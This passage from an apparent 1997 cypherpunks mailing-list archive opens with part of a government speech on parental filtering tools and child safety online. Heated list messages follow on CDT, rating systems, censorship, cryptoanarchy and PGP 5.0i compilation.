filtering and blocking software, the access to high- quality children's
sites and a choice of rating systems so that parents can find the one that
meets their families' needs.

	In tandem with that, I want to congratulate the sponsors of the
tens of thousands of web sites who have voluntarily self-rated those sites.
And I want to congratulate you again for organizing this conference and
stepping into the middle of a very difficult debate. And we need to
understand clearly why it is so difficult and not be daunted by that task
or scared away from wading into the middle of this and finding a solution.

	It's a debate about a 21st century question:  How do we keep our
children safe while protecting the First Amendment and preserving the
limitless opportunities of this exciting new technological medium that
changes form and content on a daily basis?  Some say we should refrain from
any action, that all action to block children's access to objectionable
content amounts to censorship.  To them I say, blocking your own child's
access to objectionable Internet content is not censoring; that's called
parenting.  And it is essential.

	And a parent's right to block offensive speech is as fully
protected by the First Amendment as the right to issue that speech.  There
is a view, which I consider an absurd view, that defines "children" as
"nothing more than miniature adults," not really in need of special
protection from material that their parents believe they're not ready to
process and handle.

	Well, children are not "miniature adults."  Their minds are
developing and growing and evolving.  And they are especially vulnerable to
some kinds of images and information that, of course, ought to be freely
available to adults who have matured and developed and have the full rights
of citizenship to choose whatever they want to see and listen to and read
and look at.  Children are in a different category, and that ought not be a
controversial conclusion.

	But still others say that government must immediately come in with
a heavy hand and outlaw certain activities on the Internet.  Well to them,
I say we need to listen to the justices of the Supreme Court and to the
United States Constitution that binds them.  Since the days of George
Washington and John Marshall, when Chief Justice Marshall, the greatest
chief justice of all, told us that the Supreme Court does indeed interpret
the Constitution; as a nation of laws, we have been bound to follow our
Constitution and the interpretations of that Constitution given by our
Supreme Court.

	And the court has ruled that we must find methods to keep our
children safe that do not infringe on the free speech of others. Therefore,
we must give ourselves the time we need to develop these methods.  In
short, we must meet this 21st-century challenge in a 21st-century way, not
by using the heavy hand of government in ways that would harm and squelch
this exciting new resource, and certainly not by ignoring the dangers and
allowing our children to roam free and unsupervised on the Internet.

	Instead, we should pursue a third way, an American way:  allow the
industry to take the lead, with the help and guidance of government,
advocacy groups, and families, to provide parents with the education and
the tools they need to preserve both safety and freedom on the Internet.

	You have begun this effort.  And I know that there's only a small
percentage of sites on the Internet that parents feel are not healthy for
their children.  You have begun designing the tools to guide children away
from content that their parents consider harmful and steer them toward
content that their parents consider helpful.

	So the work you've begun is extremely important, and doing it well,
so that it is an effective solution, is an absolutely essential task.

	You know as well as I do that the Internet will never be a fixture
in every home until parents have the tools they need to make it safe for
their children's explorations.

	There is a danger for this effort to degenerate into a discussion
about how to avoid regulation.  To be successful, it must be elevated to a
discussion about how to meet the needs of America's families.

	Industry will never be able to meet those needs unless it devotes
the same resources and commitment to designing parental controls that it
would devote to the design and launch of any new product.  I'm convinced
that this is an area where you will do well by doing good. So again I say,
industry must do more.  I congratulate you on what you have done and on the
great promise signified by this meeting here.

	But it means that industry must keep working to make the new
technologies easier to use, more effective, and more widely available. And
this is not to slight the current developments, because they are indeed
impressive, but it is to put them in the context of our overall goal of
making sure that every parent has the technology and the technological
know-how to guide their children to sites on the information superhighway
just as easily as they guide their families to places on the interstate
highway.  These tools must become as commonplace and as easy to use as the
remote control on the family TV.

	And yet, allowing parents to block access to sites they deem
objectionable is not the only issue the industry faces.  To gain the trust
of parents and families, you must give users, and especially children and
parents, control over how their private information is used over the
Internet.  In addition, we must also look at direct marketing to children.
If Internet sites for kids continue to feature advertising blurred into
entertainment and targeted directly at children, parents may soon shut off
the Internet.  You might as well prepare yourselves if there's not an
effective industry-led solution. You might as well prepare yourselves for a
massive nationwide backlash that will stunt the growth of this exciting
resource.

	That shouldn't happen.  It doesn't have to happen.  But it will
happen unless the industry-led solution to these problems also are
effective, not just - let me emphasize again - not just theoretically
effective, not just designed in a way that they ought to be effective, but
really and actually effective in the real-life experiences of American
families.

	You've got a lot at stake, and so the resources and the level of
effort you devote to this task ought to be commensurate with the importance
of finding a real solution.

	The Department of Commerce will be hosting conferences early next
year to focus on issues of quality, content, access, privacy, marketing and
advertising for children.  The first of these conferences will focus on
access and will take place from February 25th through February 27th.  I
challenge the industry to bring to these conferences, just a few months
from now, several clear ideas for addressing these issues and, by
addressing them, go a great distance toward gaining the trust of concerned
parents.

	Of course, we have said that industry's role is to take the lead,
not to carry the entire load.  And so today, I am pleased to announce
several initiatives that will work in tandem with industry efforts by
helping educate parents about the availability of parental controls and how
they can use them to help protect their children.

	First of all, I am delighted to announce the release of a new
"Parents Guide to the Internet" prepared, at the president's request, by
the Department of Education.  And Secretary Riley will be talking more
about this in a few moments, but this "Parents Guide to the Internet," we
hope, will become a valuable resource for parents who want to understand
how they can play a responsible role as parents in helping to protect their
children against inappropriate sites and inappropriate material, and
finding the exciting opportunities that really are available for
educational and cultural purposes on the Internet.

	Parents today face a "technogeneration" gap that's different from
anything that they ever experienced with their own parents.  One journalist
wrote that it's almost as if Ward and June Cleaver were suddenly charged
with supervising the Jetson children, Judy and Elroy - (laughter) - a
pretty good analogy.  This new guide introduces parents to the Internet and
suggests how they can help their children experience its wonders and dodge
its hazards.

	I'm also pleased to announce a new national public awareness
campaign calling - called "Think, Then Link."  This will feature a national
town hall meeting, scheduled for next fall, to be held in schools all
across the country and designed to educate adults and children about how to
create a safe online environment.  This will be followed by local town hall
meetings at libraries, schools, and community centers across the country.
This is part of our effort to give parents the tools they need to ensure a
safe, constructive Internet experience for their children.

	But those tools themselves are not enough.  They must be
accompanied by aggressive enforcement of the anti-stalking, child
pornography, and obscenity laws as they apply to cyberspace.

	And that's why I'm pleased that the leading Internet service
provider associations are announcing a new agreement to cooperate with law
enforcement authorities on a zero-tolerance policy against child
pornography.  Internet service providers will be working closely with law
enforcement to report and pursue any suspicious activity.  I really want to
congratulate these providers for stepping forward in this fashion.

	We've had experiences in the Reinventing Government effort that has
resulted in airlines reporting on information that drug smugglers might be
involved in air freight shipments.  And the partnership between the airline
carriers and the Customs people has resulted in a really dramatic
improvement in that whole law enforcement effort.  And this new
partnership, I believe, is likely to have similar dramatic effects.

	I'm also pleased to announce a cybertips line - in effect, a 911
number for the Internet.  This number will work like an emergency hot line
or a crimestoppers tip line, and will take reports on illegal Internet
activity related to child pornography and predation.  This project is
sponsored by the National Center for Missing and Exploited Children, with a
sizeable grant from the Department of Justice.  It is a warning to
criminals and a promise to parents:  There are Internet police for those
activities that are illegal, and they will capture and punish those who
would use the Internet to harm and hurt our children.

	Together, these new initiatives will make a significant difference
in the ability of parents and law enforcement to work together to keep our
children safe on the Internet.

	Most parents quickly learn the value of letting children explore.
Small children can learn much more from emptying a cupboard of pots and
pans onto the floor than they could ever learn by direct instruction.
Weight, balance, sound, texture, touch, temperature - there is no human
being competent to teach a child all those lessons. They're just too vast
and varied.  Therefore, sometimes the best teaching is to encourage
exploring.  So, just as a parent covers electrical outlets when a baby is
crawling around and locks medicine cabinets to protect children against
poisoning, and cushions the hard corners of coffee tables to make a home
safe for a child to explore, we must also help parents anticipate and block
dangerous places on the Internet to make it safe for a child to explore.

	And again, children are special, and different from adults.  I
think it's hard for us to debate that point about the Internet, partly
because throughout the history of civilization, societies that have core
values always have difficulty debating issues that bring those core values
into place.  Our core value in the United States of America is freedom of
speech, freedom of religion, freedom of expression.  Those who founded the
United States came here in order to establish that core value.  And any
time a new proposal or a new idea or a new challenge rubs up against that
core value in any way, it's very difficult for our country to come to terms
with it.  And there's always going to be a group that takes an absolutist
view that is different from what the Supreme Court has said the
Constitution endorses, and we'll always have very, very heated debates
whenever this subject is dealt with.

	And we understand you can't eliminate all risk, but you can get to
the point where the risk of letting children explore is less than the risk
of not letting them explore.  And we can deal with this issue in a way that
does not compromise our core value of freedom of expression.

	This will take a lot of effort, and the combined conversation of
all the boardrooms, classrooms, living rooms and chat rooms in America, to
sort out the issues and give parents the tools they need to childproof the
Internet.  We will never achieve a complete consensus here in Washington,
DC, I guarantee you.  But that's okay. The debate will not be won in
Washington; it will be won in the hearts and minds of America's families.
And that's where the only victory that matters is going to take place.

	For the sake of our children, let's keep up the fight to uphold
both freedom and safety on the Internet.  I'm convinced, after seeing and
hearing all of you here today, it's a fight that we're going to win as
Americans.

	Thank you very much for what you're doing and for having me here
today.  (Applause.)  Thank you.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Dec 1997 06:09:54 +0800
To: "Daniel J. Weitzner" <djw@cdt.org>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <v03102801b0ab79341621@[207.226.3.18]>
Message-ID: <Pine.GSO.3.95.971203133740.17621K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Danny, I may respond in more detail to your post shortly (I'm supposed to
be working on an article right now), but I wanted to ask you: 

Does CDT consider itself to be a "civil liberties" group?

If so, how do you reconcile that stance with CDT director Jerry Berman's
statements this week and elsewhere that we need to "balance free speech" 
and "balance civil liberties" with other concerns?

If so, how do you reconcile this with your anti-civil liberties
"compromises" on issues like wiretapping, the "harmful to minors" version
of the CDA you supported, and the "crypto in a crime" jail penalties you
continue to support?

CDT seems to take positions that are often much closer to business
lobbyists than civil liberties groups. Now, I don't mind business
lobbyists -- I'm friends with many of them and I talk with them every day
-- but I want to be clear on your position. 

-Declan


On Wed, 3 Dec 1997, Daniel J. Weitzner wrote:

> At 12:45 AM -0500 12/3/97, Declan McCullagh wrote:
> >Besides demonstrating that cyberporn is a topic that will
> >never disappear, the Kids and the Net summit has
> >highlighted the tensions between the different types of
> >Net-advocacy groups here in Washington.
> >
> >The civil liberties groups (ACLU, EPIC, EFF, CPSR), and
> >journalism, publishers, and media groups have lined up on
> >one side [http://www.ifea.org/] saying the government
> >shouldn't pressure the Internet to self-censor (or be
> >censored by the Feds). They held a counter-summit press
> >conference yesterday. Even the libertarian Cato Institute
> >is in this corner.
> >
> >On the other side, the Center for Democracy and Technology
> >[http://www.cdt.org/] is participating in the summit along
> >with antiporn groups, high tech firms, and "censorware"
> >vendors.
> 
> Declan,
> 
> Life would indeed be dull without tensions, but it's important to have a
> clear picture of what's going on in the tension over filtering.
> 
> Somehow you have filtered out a few groups on what you call the "other
> side."  Even though your was present for much of the Summit, you neglected
> to mention important participants in the Summit including:
> 
> People for the American Way, one of the nation's leading civil liberties groups
> American Library Association
> Media Access Project
> 
> These groups are some of the leading defends of free expression in the
> country, so I'm not sure why you left them out.
> 
> In a statement issued at the Summit, People For the American Way's
> President said: "We do not want an Internet where lawmakers and
> corporations have decided for us what the best filtering method is, but
> neither do we advocate a 'Wild West' where any safeguard is called
> intrusive.  We stand for traditional democratic principles like freedom of
> expression and freedom of choice, and as such we believe that families
> shold have an array of choices about how best to guide their children."
> 
> CDT shares this view with People For and is committed to assuring that:
> 
> 1) the Net does not become dominated by a single rating system;
> 2) that the choice to filter or not is always up to parents, not
> governments; and,
> 3) anyone using filters has full knowledge of the filtering criteria used.
> 
> Painting this as CDT vs. all other civil libertarians may be convenient,
> but it's wrong.  I do thank you for acknowledging, at least, the CDT is
> committed to a diversity of options.
> 
> We'll have more to say about what happened at the Summit in a day or so.
> We welcome the debate over the desirability of filtering, and various
> approaches to the issue can go on, but it isn't served by misleading
> characterizations.
> 
> Thanks.
> 
> ============================================================================
> * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
>             Adopt Your Legislator -  http://www.crypto.com/adopt
> 
> 				-------------
> 
> Daniel J. Weitzner, Deputy Director                       <djw@cdt.org>
> Center for Democracy and Technology                       202.637.9800 (v)
> 1634 Eye St., NW Suite 1100                               202-637.0968 (f)
> Washington, DC 20006                                      http://www.cdt.org/
>                    
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 7 Dec 1997 00:45:40 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Censorware Summit 2.0, from The Netly News
In-Reply-To: <Pine.LNX.3.95.971202152128.507B-100000@is-chief>
Message-ID: <Pine.LNX.3.91.971203144811.6039A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Anyone care to submit major censoring categories for each
> church? ;-)  Maybe the best way for cypherpunks to attack
> this is to come up with free generic filtering software that
> any well recognized group can develop filtering lists for.
> Wait -- a name is coming to me -- GNUSitter?

How about a variant on this idea: a cypherpunks web filter that filters 
out all content which has any of the following:

Superstitious religious claptrap
Moralising on porn etc.
Anti free speech rhetoric
All government departments
All Anti-drug "war on some vegetables" rubbish
etc.
etc.
etc.


And specifically filters in as a random start page for the browser any of 
the following:

Pornography
Free speech advocacy
Hate speech 
Violent, filthy, disgusting, explicit pages showing images of death and 
torture.
Any pages graphically depicting the stories and parts of the bible the 
religious types like to forget about.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 4 Dec 1997 05:12:33 +0800
To: David Honig <honig@otc.net>
Subject: Re: 'Off' the parking pigs!
In-Reply-To: <3.0.5.32.19971202122124.007a4b60@otc.net>
Message-ID: <3485C76A.1963@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



David Honig wrote: 
> At 04:31 PM 12/2/97 -0600, TruthMonger wrote:
> >> SANTA ANA, Calif., Dec. 2 (UPI) _ Saying the case has national importance,
> >> federal prosecutors will
> >> retry a 20-year-old man accused of sending threatening electronic mail to
> >> Asian students at UC Irvine.

> >  Are we supposed to feel 'safer' in public, knowing that we may be
> >surrounded by people to whom it may be worthwhile to kill a few cops
> >and innocent bystanders in order to avoid punishment for sending
> >nasty email, or having an unpaid parking ticket?
> 
> Turn the facetiousness down a notch, Monger-san.  

  I think you have me confused with TluthMongel.

> This moron sent death threats to individuals.  

> It is pretty reasonable IMHO to hold people responsible for direct threats
> when AND ONLY WHEN they can be traced to them (duh).

  In the jury's humble opinion, the prosecution didn't prove its case.
This is no problem for the government. They have the deep pockets 
required to prosecute as many times as needed to refine their attempts
to manipulate the minds of the jurors, or to get lucky and have a few
members of a split jury vote to convict because they don't want to
blow their trip to the Stones' concert.
  Lame fucks spending taxpayer money want to throw away a shitload
of money prosecuting this dweeb for a dweeb stunt and throw away
a bunch more money keeping him from fleeing the country so that he
can be thrown out of the country if convicted.
  Meanwhile, murderers who have actually killed people will be 
getting plea agreements that result in being released decades
earlier. Why? Because the court system is overloaded.

> But if the messages
> were traceable, I've not yet read a (usually brilliant) <T>Monger rave
> wherein you argue
> that personal responsibility for threats is a null concept.

  Chief CypherPunks Hate Criminal, Tim May, can generally be counted
on to expound much more eloquently than myself on the concepts and
sometimes subtle differences between freedom of speech and freedom
to get your ass kicked for being a fucking loudmouth asshole.
  My specialty is my ability to back up my bad hominy random
character assassinations, a la George Carlin, by telling people
what they already know (but pretend they don't really know), by 
shining the Verbal Light of Truth upon the InfoFog generated by
others and ourselves in a desparate attempt to convince ourselves
that the sign announcing the entranceway to the Home for the
Criminally Insane is not, in fact, on the 'wrong' side of the
door. (aka - hollering "Bullshit!")

e.g. - "Knixon knew!"
    "The Iranian hostages who cost Carter the election were released
     on Reagan's inauguration day. How lucky can you get?" <nod-nod,
     wink-wink>

OswaldActedAloneMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Dec 1997 07:31:26 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <v03110730b0ab8aa53f98@[204.91.138.219]>
Message-ID: <Pine.GSO.3.95.971203150451.17621M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I'd add to Marc's post one comment and one question:

* We heard a lot of hot air at the summit this week about "diversity." But
I'm not as interested in experiencing a "diversity" of PICS-based systems
as I am a diversity of ideas. 

* Danny, your boss told me today that "you can't stop legislators from
legislating." (Personally, I think you can: the 9-0 CDA ruling gives them
cover.) But if you believe legislation is inevitable, do rating systems
help or hinder civil liberties? Do they provide a framework that Congress
will formalize make mandatory? And do they let the DoJ argue that it's
easier to comply with a CDA II through "mandatory voluntary" self-rating? 

BTW, good news from Time-Warner. We are NOT going to self-rate or
self-label. This is a corporate-wide policy and applies to pathfinder.com,
all the Warner Bros movie and cartoon sites, and other sites like cnn.com.

-Declan


On Wed, 3 Dec 1997, Marc Rotenberg wrote:

> Danny -
> 
> I think where the free expression groups differ fundamentally
> from the position CDT has set out is that we do not believe
> that the Net should be dominated by rating systems.
> 
> We recognize that parents have some legitimate concerns about
> the availability of objectionable material. But we think that
> there are alternatives to widespread ratings -- including
> learning more about the benefits of the Internet -- that
> are preferable.
> 
> We also recognize that there is a risk that Congress will try to
> pass CDA II. But we believe that it will be difficult for such
> an act to survive Constitutional review after Reno v. ACLU.
> We are perhaps more concerned that an architecture of ubiquitous
> ratings will provide, as Barry Steinhardt said well at the summit,
> a blueprint for legislation that would be upheld.
> 
> What exactly does CDT plan to say to the enthusiastic member
> of Congress who backs your rating plan and wants to see it
> enforced with sanctions?
> 
> What are your own views about a filtering search engine
> that block access to 99% of the references concerning the
> "American Red Cross"?
> 
> A diversity of rating systems is the not the same as a
> diversity of viewpoints. It is rather a diversity of
> fears and prejudices. I hope we never see the day
> when national organizations are routinely called upon to
> draw up lists of what they do not want others to see.
> I suspect that those who are concerned about the
> future of free expression share this view.
> 
> Marc Rotenberg
> EPIC





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 4 Dec 1997 08:57:00 +0800
To: Tim May <tcmay@got.net>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <3.0.5.32.19971203090005.007d2340@206.40.207.40>
Message-ID: <3.0.5.32.19971203152908.007ea690@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 12:56 PM 12/3/97 -0700, Tim May wrote:
>
>
>And there are some who want "mislabelling" made a crime. Thus, if I claim
>that my site and my words are suitable for children, and someone (like
>Janet Reno) disagrees, I could be charged with "misrepresentation."
>

To pluck that string, I'm occasionally developing an essay which teaches
kids about
encryption.. building up to strong product-ciphers by exploring what you
can do with
iterating simple operations, and how they affect the data.  At the end of
the lesson they learn
that giving this document to a foreign-born friend would make them ITAR
criminals. 

Subversive online cypherpunk comic books?  If I could draw.




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Dec 1997 09:15:17 +0800
To: James Love <love@cptech.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3485ED4B.21881E76@cptech.org>
Message-ID: <Pine.GSO.3.95.971203153856.17621N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Jamie, if you're seriously confused about the differences between
left-wing and right-wing groups I can help educate you, perhaps with a few
rules of thumb. But I suspect that you really don't want a serious answer.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 4 Dec 1997 07:28:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <v03102816b0ab657d1ee8@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.971203154614.581B-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 3 Dec 1997, Tim May wrote:

> And made many people clamor for self-policing software.
> 
> I have always advocated filtering and self-selection of articles,
> magazines, television, movies, restaurants, etc. As such, Web filters are
> fine things. If one _only_ wants to read articles favorable to Scientology,
> or critical of Catholics, or catering to certain sexual interests, hey,
> find some filter services or program your own....
> 
> However, the drumbeat is being heard that such filter services may not be
> fully "voluntary," inasmuch as the Government is "assisting" in their
> development, as the current confab shows. (One wonders what the reaction
> would be if Bill Clinton, Ira Magaziner, and other government officials
> helped organize a conference on how *religions* can help police themselves
> and avoid incorrect thoughts? "Churches must learn to police themselves and
> avoide heresies, so that government action will not be needed.")

I believe I've been beating the drum for that one for a couple months.

Now all we need is to talk to a winsock geek and find out how we
can wedge our software into the winsock layer so that we could release
roll your own censoring software.

We then sell it to all know religious organizations (including those not
necessarily claiming to be ;-).  A small royalty from every thousand
copies sent out is then put into the retired cypherpunks relief fund. 

seriously.  rather than complaining that many people find some
material objectionable to their tastes we should take advantage 
of it...and make it widely available.

All those millions of dollars sent to churches could then be spent
on services delivered to the member families to babysit their kids.

Net effect...Clinton/Bore/Freeh/etc fascist dreams of controlling
the net go up in smoke..

worth it?

jim








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glenn Hauman <hauman@bb.com>
Date: Thu, 4 Dec 1997 05:02:56 +0800
To: David Honig <tcmay@got.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v03102813b0ab38f3a815@[207.167.93.63]>
Message-ID: <v03007807b0ab774766c7@[168.146.213.73]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:47 PM -0500 12/3/97, David Honig wrote:

>What you watch is pornography;
>What I watch is erotica.

And what the person over there watches is filth.


Best-- Glenn Hauman, BiblioBytes
       http://www.bb.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lord_buttmonkey@juno.com (Matthew L Bennett)
Date: Thu, 4 Dec 1997 13:11:36 +0800
To: cypherpunks@toad.com
Subject: Re: PGP 5.0i for Windows95/NT]
In-Reply-To: <348412DA.D8D@dev.null>
Message-ID: <19971203.165735.12934.3.Lord_Buttmonkey@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



>> PGP 5.0i for Windows95/NT source code & binary are 
>> available now.
>> 
>> http://www.pgpi.com/
>
>	ftp://ftp.jp.pgpi.com/pub/pgp/5.0/international/win95nt/
>		pgp50i-win95nt-src.zip (4,126,514 bytes)
>		pgp50i-win95nt.zip (2,732,657 bytes)

I have a few questions for everyone.

1.) Can this be compiled with the -DUSA option (the equivalent for Win95)
so it is usable in the USA?

2.) What language is it written in?

3.) Can it be compiled with Borland C++ 4.0?

4.) Does it have a convienient project file?

Thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Thu, 4 Dec 1997 05:52:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Policeman Inside
In-Reply-To: <3.0.2.32.19971125212727.00770890@pop.sirius.com>
Message-ID: <97Dec3.164131est.43009@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain




>Kent Crispin wrote:

>However, the "anarchy" in cryptoanarchy is quite structured.  (I was
>quite seriously criticized for using a dictionary definition of
>anarchy, you may recall...) If there were *no* rules, then murder is
>OK, and ownership means nothing.  Furthermore, cryptoanarchy requires
>the sanctity of contracts, which implies a whole bunch.

Of course I can get confused when some cryptoanarchists links the militia
movements (which aren't properly anarchic) with cryptography.

A second point is that it requires an internet social structure that
allows for reputation capital - contracts are enforced technologically
(e.g. you did or not digitally sign something so the truth of a violation 
is not really subject to argument in an idealized version), but the only
recourse is to spread true negative gossip, which requires recursive
reputation capital - i.e. I must be already known to be truthful and not
petty for someone to believe such gossip, and the target of the gossip
will have to have a history of cheating.

>The whole notion of "the policeman inside" is stupid sloganeering.  Of
>*course* we have a policeman inside -- we have something that tells us
>(at least some of us) that murder, theft, and dishonesty are 
>behaviors to be avoided.  We have something that tells us (some of us) 
>it would be foolish to make a habit of running red lights.

Others can't seem to tolerate the idea that there should be any lights and
we should rely on our ability as drivers to avoid killing each other.

My point with on internet pornography, etc. is that we should avoid such
things out of convention (a red light that is not under surveillence) so
as to avoid the requirement for law. 

On Wed, 26 Nov 1997, Greg Broiles wrote:

> "The policeman inside" is neither a conscience nor an instinct towards
> self-preservation. I'm familiar with the term being used to refer to the
> internalization of a system of external rules, coupled with a belief in
> pervasive surveillance and/or the adoption of the viewpoint of an external
> supervisor, such that one with a "policeman inside" learns to fear
> punishment at every moment and in every situation. See, for example,
> Bentham's Panopticon or Foucault's _Discipline & Punish_ for more on the
> topic. 

I have more reading to do.

For the moment I can accept your definition, but it doesn't change the
real world:  Even if no one ever watches a junkie shoot up, the needle
containing the HIV virus will still infect him and he will still incur
that punishment.  Good and evil are not like Schrodinger's cat where
observation is necessary to determine the outcome.  The second assumption
is a society where there are bad laws - the system of external rules in
your above description are tyrannical. 

But to return to the root, I don't think anyone that has said "that it is
not right to advocate nasty things" (e.g. kiddie porn being posted to the
internet) is doing so because of your definition of the policeman inside,
they do so because they think the act is intrinsically wrong.  The only
other reason is that doing so is bad from a propaganda standpoint - most
people will dismiss the most rational argument when it is said by a nasty
person.  They aren't in perpetual fear of punishment.

> Also, you may note that two of the three terms you used as examples of
> "wrong" behavior themselves imply judgments and a moral position - "theft"
> and "murder". Whether or not the taking of a physical thing is "theft" can
> be a complex question, that has a lot to do with contracts and agreements
> and socially constructed ideas about property. Similarly, "murder" is (to
> adopt a broad definition) an unlawful and intentional homicide - which,
> again, presupposes certain judgements about relationships between people.

Or these may not be merely be societal conventions, but trancendent truths
(Natural Law to use the old-fashioned term).  Moreover, it is not a
complex question unless lawyers get involved, or we start making the
definitions fuzzy in some other manner.  Of course definitions of evil
acts presupposes moral judgements, but anything else presupposes
relativism (which in itself is a moral judgement) or worse. 

This is one of the reasons I get so upset about the state of our
educational system.  If words don't have a solid meaning, or that the
vocabulary is too small to work to express the concepts necessary to
describe things, then the result is a relativism by default since no one
knows what "ownership" or "property" or "theft"  means.  These words have
had fixed meanings in many languages for thousands of years.

There is a lot of semantic confusion, but if semantics doesn't exist, then
every message ever posted disappears into Babel.  Otherwise you have to
use the existing words, moral implications and all.

> It's easy to say that "theft and murder are wrong", because wrongness is
> part of the meaning of the terms "theft" and "murder". It's much less
> satisfying to say something like "it's wrong to take things that someone
> else thinks they own, unless they're mistaken or you have a superior claim"
> or "it's wrong to shoot someone who didn't deserve to be shot".

I only see it as an expansion of the definition.  If I have a true claim
on something, I own it and taking it from me without my consent is theft
by definition; If I am mistaken, then I didn't own it in the first place.
You can also continue this recursively (take - move, remove, destroy,
control...) so you can expand "theft is wrong" into a book.  And this
might be to the benefit of those who don't yet understand the concept of
theft.  But it won't help those who understand and reject that concept.

A serial killer might consider a law against murder as tyrannical, and
thus have a "policeman inside" that prevents him from murdering for the
wrong reasons (instead of having a properly formed conscience), but in
either case the murder is prevented.

> It's the creation of a "policeman inside" which causes people to lose their
> ability to make judgements about which people (if any) ought to be shot and
> which people deserve to keep their stuff. And that loss of the ability
> (cognitive and moral) is, I think, a direct cause of the very crimes (theft
> and murder) you mention.

The ability to regulate one's self is being wasted on complying with silly
or immoral rules (I filled out the form so give me my government benefits)
rather than on civility. 

It is easier to be a pro-government automaton than to be a free moral
agent.  And in that I agree that it is probably the cause of those crimes. 
But the government has a stake in creating automatons and to keep people
in fear, so instead of creating moral agents who won't murder and rob,
they let crimes continue to scare people into abandoning their free will.

And in that sense, a "policeman inside" is a far worse evil because it is
subtle - it passes for morality but is an abandonment thereof.

--- reply to tzeruch - at - ceddec - dot - com ---







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 4 Dec 1997 09:06:14 +0800
To: James Love <love@cptech.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v0300780cb0ab2a8bef6c@[204.254.21.129]>
Message-ID: <3.0.5.32.19971203164340.007f21f0@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 05:05 PM 12/3/97 -0500, James Love wrote:
>Declan, apparently having missed the fab 50's, seems to be enjoying his
>use of the "leftist" word lately.  Since this seems to mean quite
>different things to different persons, perhaps Mr. McCullagh can define
>his terms.  What exactly is a "leftist" in 1997, in his opinion?
>
>    Jamie

Yeah, the relevant political dimension is statist vs. individualist, but
you knew that.

And the difference between republocrat and demipublican is vanishingly small.




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Thu, 4 Dec 1997 09:39:34 +0800
To: James Love <declan@pathfinder.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v0300780cb0ab2a8bef6c@[204.254.21.129]>
Message-ID: <3.0.3.32.19971203170222.03484d78@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 05:05 PM 12/3/97 -0500, James Love wrote:
>Declan, apparently having missed the fab 50's, seems to be enjoying 
his
>use of the "leftist" word lately.  Since this seems to mean quite
>different things to different persons, perhaps Mr. McCullagh can 
define
>his terms.  What exactly is a "leftist" in 1997, in his opinion?

When the leftists try to avoid being called 'leftists', you know it's 
all over but the mopping up. 

But, nonetheless, let me try:
"A leftist is someone who advocates increasing government control 
over private actions, especially in the name of such mummeries as 
'equality' and 'fairness'. Contrast to a rightist, who advocates 
increasing government control over private action in the name of 
'decency' and 'values'."
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIYBHTKf8mIpTvjWEQL5SwCfa54X344lCmYy25teJGCRUp1QfIUAn3F1
4d9HjdglfH+c0NJZ9+jmyw+6
=LXws
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 4 Dec 1997 06:18:36 +0800
